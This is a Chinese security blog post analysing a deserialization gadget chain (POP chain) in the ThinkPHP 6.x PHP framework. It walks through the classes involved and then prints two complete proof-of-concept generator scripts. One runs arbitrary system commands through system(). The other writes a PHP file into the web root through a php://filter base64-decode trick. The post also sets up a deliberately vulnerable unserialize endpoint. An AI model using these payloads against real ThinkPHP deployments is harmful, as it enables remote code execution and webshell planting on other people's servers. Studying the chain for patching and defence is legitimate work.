ThinkPHP 6.x反序列化POP链(二)

admin 2022年3月7日20:02:25评论128 views字数 3937阅读13分7秒阅读模式

环境准备

安装ThinkPHP 6.0

composer create-project topthink/think=6.0.x-dev v6.0

修改application/index/controller/Index.php Index类的代码

class Index
{
   public function index()
  {
       $payload = unserialize(base64_decode($_GET['payload']));
       return 'ThinkPHP V6.x';
  }
}

开启ThinkPHP6调试

将根目录.example.env更改为.env,文件中添加:APP_DEBUG = true

POP链分析

__destruct()

依旧是全局搜索 __destruct() ,我们查看在 /vendor/league/flysystem-cached-adapter/src/Storage/AbstractCache.php 中的__destruct

ThinkPHP 6.x反序列化POP链(二)

使 $this->autosave = false 可以触发 $this->save()

CacheStore

AbstractCache是一个抽象类,我们使用find usages寻找继承它的类

ThinkPHP 6.x反序列化POP链(二)

/vendor/topthink/framework/src/think/filesystem/CacheStore.php 中的 CacheStore 类继承了 AbstractCache 类,并实现了 save() 方法

ThinkPHP 6.x反序列化POP链(二)

save() 方法中涉及 getForStorage() 方法,我们跟进此方法

getForStorage()

回到 AbstractCache.php 中我们找到了 getForStorage() 方法,继续跟进 cleanContents()

ThinkPHP 6.x反序列化POP链(二)

cleanContents()

array_flip对数组反转,array_intersect_key取数组交集

ThinkPHP 6.x反序列化POP链(二)

然后函数会将 $contents 返回给 getForStorage() 中的 $cleaned ,经过 json_encode 后返回给前面的 save() 方法

ThinkPHP 6.x反序列化POP链(二)

$contents 变量接收函数返回值后,进入下面了逻辑,此时$this->store是可控的,我们可以调用任意类的set方法,如果这个指定的类不存在set方法,就有可能触发__call()。当然也有可能本身的set()方法就可以利用。

Notice:在对象中调用一个不可访问方法时,__call()会被调用。有关 __call() 方法的详细说明,参见php手册https://www.php.net/manual/zh/language.oop5.overloading.php#object.call

set()

ThinkPHP 6.x反序列化POP链(二)

我们利用在File类中的 set() 方法

ThinkPHP 6.x反序列化POP链(二)

serialize()方法

此处有两种利用方法,我们先分析利用 serialize() 方法的POP链

ThinkPHP 6.x反序列化POP链(二)

$this->options['serialize'][0]可控,可以执行任意函数,参数为$data

我们从set()方法中可知,$data 来源于 $value 的传值,在继续从CacheStore 中可知 $value 来源于 $contents

json_encode后的数据,由此我们需要使json_encode后的数据被当作代码执行。

此时需要注意一个问题

ThinkPHP 6.x反序列化POP链(二)

我们发现由于 json_encode 的缘故,命令被方括号包裹导致无法正常执行。在Linux环境中我们可以使用 `command` 这样的形式使被包裹的command优先执行,我们可以构造如下payload

ThinkPHP 6.x反序列化POP链(二)

报错信息中包含命令执行结果

POC
<?php 

namespace LeagueFlysystemCachedStorage{
abstract class AbstractCache
{
protected $autosave = false;
  protected $complete = "`id`";
       // protected $complete = ""&whoami&" ;
       // 在Windows环境中反引号无效,用&替代
}
}

namespace thinkfilesystem{
use LeagueFlysystemCachedStorageAbstractCache;
class CacheStore extends AbstractCache
{
protected $key = "1";
protected $store;

public function __construct($store="")
{
$this->store = $store;
}
}
}

namespace thinkcache{
abstract class Driver
{
protected $options = ["serialize"=>["system"],"expire"=>1,"prefix"=>"1","hash_type"=>"sha256","cache_subdir"=>"1","path"=>"1"];
}
}

namespace thinkcachedriver{
use thinkcacheDriver;
class File extends Driver{}
}

namespace{
$file = new thinkcachedriverFile();
$cache = new thinkfilesystemCacheStore($file);
echo base64_encode(serialize($cache));
}

?>

file_put_contents()写文件

ThinkPHP 6.x反序列化POP链(二)

第179行可以看到 file_put_contents()  有两个参数 $filename$data ,向上查找这两个变量从何而来

  • $data:前面分析已知来源于$this->serialize,此处存在 exit() ,我们可以使用 php://filter来避免。

  • $filename:

    ThinkPHP 6.x反序列化POP链(二)

    此函数的返回值是带有文件名的文件路径

    第67行

    $name = hash($this->options['hash_type'], $name);

    $name 为文件名,来源于$this->key,可控,$this->options['hash_type']也可控。最终文件名是经过hash后的,所以最终文件名可控(本文演示POC中$key = "1"$this->options['hash_type'] = 'md5',所以最终文件名为1的md5值)。

    $this->options['path'] 使用php filter构造 php://filter/write=convert.base64-decode/resource=think/public/ 指向tp6根目录

    最终拼接后的$filename

    php://filter/write=convert.base64-decode/resource=think/public/name.php

    此外,为了确保php伪协议进行base64解码之后我们的shell不受影响,所以要计算解码前的字符数。

    假设传入的$expire=1,那么shell前面部分在拼接之后能够被解码的有效字符为:php//000000000001exit共有21个,要满足base64解码的4字符为1组的规则,在其前面补上3个字符用于逃逸之后的base64解码的影响。

POC
<?php 

namespace LeagueFlysystemCachedStorage{
   abstract class AbstractCache
  {
       protected $autosave = false;
       protected $complete = "uuuPD9waHAgcGhwaW5mbygpOw==";
       //文件内容是phpinfo(); uuu为在其前面随意填充的三个字符
  }
}

namespace thinkfilesystem{
   use LeagueFlysystemCachedStorageAbstractCache;
   class CacheStore extends AbstractCache
  {
       protected $key = "1";
       protected $store;

       public function __construct($store="")
      {
           $this->store = $store;
      }
  }
}

namespace thinkcache{
   abstract class Driver
  {
       protected $options = ["serialize"=>["trim"],"expire"=>1,"prefix"=>false,"hash_type"=>"md5","cache_subdir"=>false,"path"=>"php://filter/write=convert.base64-decode/resource=think/public/","data_compress"=>0];
  }
}
// 路径最好写成绝对路径

namespace thinkcachedriver{
   use thinkcacheDriver;
   class File extends Driver{}
}

namespace{
   $file = new thinkcachedriverFile();
   $cache = new thinkfilesystemCacheStore($file);
   echo base64_encode(serialize($cache));
}

?>

ThinkPHP 6.x反序列化POP链(二)

ThinkPHP 6.x反序列化POP链(二)

使用此方法需注意路径是否可写以可执行等权限问题


长按识别二维码,求关注求点👍

ThinkPHP 6.x反序列化POP链(二)

本文始发于微信公众号(宽字节安全):ThinkPHP 6.x反序列化POP链(二)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月7日20:02:25
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   ThinkPHP 6.x反序列化POP链(二)http://cn-sec.com/archives/497878.html

发表评论

匿名网友 填写信息